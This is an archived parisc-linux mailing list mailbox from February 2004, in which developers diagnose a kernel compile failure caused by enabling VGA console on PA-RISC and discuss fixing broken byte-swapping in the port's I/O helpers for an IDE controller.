	Fri, 27 Feb 2004 03:11:38 -0700 (MST)
Original-Received: (qmail 4597 invoked by uid 65534); 27 Feb 2004 10:11:36 -0000
Original-Received: from pD9EB021C.dip0.t-ipconnect.de (EHLO wookie.liquidsky)
	(217.235.2.28)
	by mail.gmx.net (mp001) with SMTP; 27 Feb 2004 11:11:36 +0100
X-Authenticated: #17859610
User-Agent: KMail/1.6
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 10:11:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20937

Hello!

This is my first message on this list. If  need some kind of registration, 
please let me know.

I run a HP PA-RISC B132L+ with Debian Woody as a DSL Gateway/Firwall for our 
home network. Right now we have the kernel 2.4.25-pa0 running. The kernel is 
compiled from sources by gcc 3.0.4. The system runs fine.

Now I tried to compile kernel 2.6.2-pa0 and 2.6.3-pa2 with the same result: 
the compile fails with this message:

--   CC      drivers/char/tty_io.o
In file included from include/linux/selection.h:11,
                 from drivers/char/tty_io.c:101:
include/linux/vt_buffer.h:19:21: asm/vga.h: No such file or directory
make[2]: *** [drivers/char/tty_io.o] Error 1
make[1]: *** [drivers/char] Error 2
make: *** [drivers] Error 2

There is indeed no file include/asm/vga.h. But if I understand the 
documentation right, I need to include VGA support. Can you please tell me 
where I am wrong? These are my console settings in .config:

CONFIG_VGA_CONSOLE=y
# CONFIG_MDA_CONSOLE is not set
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_DUMMY_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_PCI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y


Eggert Ehmke
mailto:eggert.ehmke@berlin.de

receive my pgp public key from: blackhole.pca.dfn.de
ID: F237 0537


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.6.3 compile problem
Date: Fri, 27 Feb 2004 02:21:00 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20040227102100.GJ18493@tausq.org>
References: <200402271110.50459.eggert.ehmke@berlin.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623224 6157 80.91.229.3 (22 Nov 2014 02:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Eggert Ehmke <eggert.ehmke@berlin.de>
Original-X-From: randolph@tausq.org  Fri Feb 27 03:20:55 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3C3C48D8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 03:20:55 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 738F2CD28A; Fri, 27 Feb 2004 02:21:00 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200402271110.50459.eggert.ehmke@berlin.de>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 10:20:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20938

> There is indeed no file include/asm/vga.h. But if I understand the 
> documentation right, I need to include VGA support. Can you please tell me 
> where I am wrong? These are my console settings in .config:

no, you don't want VGA console. STI console (and possibly serial
console) is the one you want.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.6.3 compile problem
Date: Fri, 27 Feb 2004 10:22:22 +0000 (GMT)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402271018590.3556@sal.ucc.ie>
References: <200402271110.50459.eggert.ehmke@berlin.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623224 6159 80.91.229.3 (22 Nov 2014 02:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Eggert Ehmke <eggert.ehmke@berlin.de>
Original-X-From: xam@cs.ucc.ie  Fri Feb 27 03:22:25 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AFD448D8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 03:22:24 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1RAMM5a013783;
	Fri, 27 Feb 2004 10:22:22 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200402271110.50459.eggert.ehmke@berlin.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 10:22:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20939

On Fri, 27 Feb 2004, Eggert Ehmke wrote:

> Hello!
>
> This is my first message on this list. If  need some kind of registration,
> please let me know.

Registration is not required, but I maybe you like to register your
here:

http://hwdb.parisc-linux.org/view.php3?type=machine&name=B132L%2B

> Now I tried to compile kernel 2.6.2-pa0 and 2.6.3-pa2 with the same result:
> the compile fails with this message:
>
> --   CC      drivers/char/tty_io.o
> In file included from include/linux/selection.h:11,
>                  from drivers/char/tty_io.c:101:
> include/linux/vt_buffer.h:19:21: asm/vga.h: No such file or directory
> make[2]: *** [drivers/char/tty_io.o] Error 1
> make[1]: *** [drivers/char] Error 2
> make: *** [drivers] Error 2
>
> There is indeed no file include/asm/vga.h. But if I understand the
> documentation right, I need to include VGA support. Can you please tell me
> where I am wrong? These are my console settings in .config:
>
> CONFIG_VGA_CONSOLE=y

I think this is the culprit. There is not VGA support on Linux/PA-RISC.

> # CONFIG_MDA_CONSOLE is not set
> CONFIG_STI_CONSOLE=y
> CONFIG_DUMMY_CONSOLE_COLUMNS=160
> CONFIG_DUMMY_CONSOLE_ROWS=64
> CONFIG_DUMMY_CONSOLE=y
> CONFIG_FRAMEBUFFER_CONSOLE=y
> CONFIG_PCI_CONSOLE=y
> # CONFIG_FONTS is not set
> CONFIG_FONT_8x8=y
> CONFIG_FONT_8x16=y

Greetings,
  Max



From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Fri, 27 Feb 2004 18:44:20 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623224 6163 80.91.229.3 (22 Nov 2014 02:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, "M. Grabert" <xam@cs.ucc.ie>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Feb 27 11:48:15 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4F6C4852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 11:48:14 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1RIiQ0r029754; Fri, 27 Feb 2004 18:44:26 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i1RIiN9I029752; Fri, 27 Feb 2004 18:44:24 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20040226155659.GA11451@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 18:48:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20940

On Iau, 2004-02-26 at 15:56, Grant Grundler wrote:
> yes - the endian issue is probably harder to fix.

All mmio and pio goes through helper functions, so it suggests the
helper ifdefs are simply wrong in ide-iops.c - which should make fixing
stuff easier - probably the insw() op is the problem.

> But I'm skeptical that's really the issue. I suspect more the IDE command
> isn't being programmed properly into the Promise controller and thus it
> doesn't DMA correctly or for some other reason complete the command.
> ie it has no reason to interrupt.

Well if the endian stuff is broken then anything could happen

> > The Promise Ultra100 TX2 controller is reported to work on PPC - not the
> > siimage one - so there is probably no difference between the PARISC and
> > PPC ports in this respect.
> 
> ok

siimage should, at least from data sheet review 



From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Fri, 27 Feb 2004 14:23:56 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20040227212356.GA28668@colo.lackof.org>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623225 6164 80.91.229.3 (22 Nov 2014 02:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, "M. Grabert" <xam@cs.ucc.ie>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@lackof.org  Fri Feb 27 14:23:58 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C6CC4852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 14:23:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AD88929809E; Fri, 27 Feb 2004 14:23:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31352-10; Fri, 27 Feb 2004 14:23:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EAADF29809B; Fri, 27 Feb 2004 14:23:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 21:23:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20941

On Fri, Feb 27, 2004 at 06:44:20PM +0000, Alan Cox wrote:
> On Iau, 2004-02-26 at 15:56, Grant Grundler wrote:
> > yes - the endian issue is probably harder to fix.
> 
> All mmio and pio goes through helper functions, so it suggests the
> helper ifdefs are simply wrong in ide-iops.c - which should make fixing
> stuff easier - probably the insw() op is the problem.

Correct. parisc insw/insl/outsw/outsl are all broken.
They all have cpu_to_leXX (or leXX_to_cpu()) calls and the
basic inw/outw are already taking care of the byte swap.
This has been mostly my fault since I originally didn't
know how the byte swapping was supposed to be
handled for a big endian arch.

Anyone interested in deleted all use of the cpu_to_leXX
and leXX_to_cpu in linux-2.6/arch/parisc/lib/io.c?

please post the tested patch here. I'll review and assign
bla^H^H^Hglory to the submitter when I commit it.

BTW, linux-2.4 has the same issue.
I expect the same patch will apply to both if it's
easier to test with linux-2.4.

thanks,
grant


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.6.3 compile problem
Date: Fri, 27 Feb 2004 17:49:26 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20040227224926.GA10923@baldric.uwo.ca>
References: <200402271110.50459.eggert.ehmke@berlin.de>
	<Pine.LNX.4.58.0402271018590.3556@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623225 6165 80.91.229.3 (22 Nov 2014 02:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:05 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Fri Feb 27 15:50:24 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id F337B4852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 15:50:23 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AwqnO-0002rI-00; Fri, 27 Feb 2004 17:49:26 -0500
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0402271018590.3556@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (12% Sync Ratio [=.........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 22:50:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20942

On Fri, Feb 27, 2004 at 10:22:22AM +0000, M. Grabert wrote:
> > CONFIG_VGA_CONSOLE=y
> 
> I think this is the culprit. There is not VGA support on Linux/PA-RISC.

This is the culprit, and I stumble across it all the time. How do we go
about setting this to CONFIG_VGA_CONSOLE=n as the default? 

c.



From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.6.3 compile problem
Date: Fri, 27 Feb 2004 22:58:48 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20040227225848.GW25779@parcelfarce.linux.theplanet.co.uk>
References: <200402271110.50459.eggert.ehmke@berlin.de>
	<Pine.LNX.4.58.0402271018590.3556@sal.ucc.ie>
	<20040227224926.GA10923@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623225 6169 80.91.229.3 (22 Nov 2014 02:27:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:05 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: willy@www.linux.org.uk  Fri Feb 27 15:58:50 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 503F84852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 15:58:50 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AwqwS-0006be-KO; Fri, 27 Feb 2004 22:58:48 +0000
Content-Disposition: inline
In-Reply-To: <20040227224926.GA10923@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 22:58:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20943

On Fri, Feb 27, 2004 at 05:49:26PM -0500, Carlos O'Donell wrote:
> On Fri, Feb 27, 2004 at 10:22:22AM +0000, M. Grabert wrote:
> > > CONFIG_VGA_CONSOLE=y
> > 
> > I think this is the culprit. There is not VGA support on Linux/PA-RISC.
> 
> This is the culprit, and I stumble across it all the time. How do we go
> about setting this to CONFIG_VGA_CONSOLE=n as the default? 

Done.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Fri, 27 Feb 2004 23:50:20 +0000 (GMT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623226 6175 80.91.229.3 (22 Nov 2014 02:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: xam@cs.ucc.ie  Fri Feb 27 16:50:26 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAE8F48A5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 16:50:25 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1RNoP5a014596;
	Fri, 27 Feb 2004 23:50:25 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040227212356.GA28668@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Feb 2004 23:50:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20944

On Fri, 27 Feb 2004, Grant Grundler wrote:

> Anyone interested in deleted all use of the cpu_to_leXX
> and leXX_to_cpu in linux-2.6/arch/parisc/lib/io.c?

What do I have to do?

I assumed that I just have to remove the use of the functions, nothing else.
I've created a modified io.c for 2.4 and for 2.6 (can be found here:
http://www.cs.ucc.ie/~xam/io/ ). I used a CVS version updated a couple
of minutes ago, just after the merge with 2.6.4-rc1.

Was easy to do ... but I haven't tried to compile or run a kernel with the
modifications.

I'll test the the modifications tomorrow morning (in about 10 hours that is),
and will post the results. If successful, I'll also create the neccessary patches.
(btw, is there a special way how I should make the patches?)

> please post the tested patch here. I'll review and assign
> bla^H^H^Hglory to the submitter when I commit it.

;)

> BTW, linux-2.4 has the same issue.
> I expect the same patch will apply to both if it's
> easier to test with linux-2.4.

I'll try with both 2.4.25-pa0 and 2.6.4-rc1-paX and the Promise IDE
controller. Maybe these changes make also DMA work for the internal IDE
of the C3000.

 Max


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Sat, 28 Feb 2004 01:05:03 +0000 (GMT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623226 6182 80.91.229.3 (22 Nov 2014 02:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:06 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: xam@cs.ucc.ie  Fri Feb 27 18:05:06 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1417A4852
